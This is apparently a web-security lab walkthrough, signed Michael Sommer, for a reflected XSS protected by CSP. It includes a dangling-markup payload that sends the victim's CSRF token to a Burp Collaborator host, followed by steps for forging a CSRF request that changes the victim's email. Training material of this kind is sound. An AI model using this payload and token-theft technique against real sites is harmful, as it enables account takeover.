Lab: Reflected XSS protected by CSP, with dangling markup attack

1. Log in to the lab using the account provided above.
2. Examine the "Update email" function. Observe that there is an XSS vulnerability in the email parameter.
3. Go to the Burp menu and launch the Burp Collaborator client.
4. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
5. Back in the lab, go to the exploit server and add the following code, replacing your-lab-id with your lab ID, and replacing your-collaborator-id with the payload that you just copied from Burp Collaborator.
   <script>
location='https://your-lab-id.web-security-academy.net/my-account?email=%22%3E%3Ctable%20background=%27//your-collaborator-id.burpcollaborator.net?';
</script>
6. Click "Store" and then "Deliver exploit to victim". If the target user visits the website containing this malicious script while they are still logged in to the lab website, their browser will send a request containing their CSRF token to your malicious website. You can then steal this token using the Burp Collaborator client.
7. Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again. You should see an HTTP interaction that was initiated by the application. Select the HTTP interaction, go to the "Request" tab, and copy the user's CSRF token.
8. With Burp's intercept feature switched on, go back to the update email function of the lab and submit a request to change the email to any random address.
9. In Burp, go to the intercepted request and change the value of the email parameter to hacker@evil-user.net.
10. Right-click on the request and, from the context menu, select "Engagement tools" and then "Generate CSRF PoC". The popup shows both the request and the CSRF HTML that is generated by it. In the request, replace the CSRF token with the one that you stole from the victim earlier.
11. Click "Options" and make sure that the "Include auto-submit script" is activated.
12. Click "Regenerate" to update the CSRF HTML so that it contains the stolen token, then click "Copy HTML" to save it to your clipboard.
13. Drop the request and switch off the intercept feature.
14. Go back to the exploit server and paste the CSRF HTML into the body. You can overwrite the script that we entered earlier.
15. Click "Store" and "Deliver exploit to victim". The user's email will be changed to hacker@evil-user.net.

Michael Sommer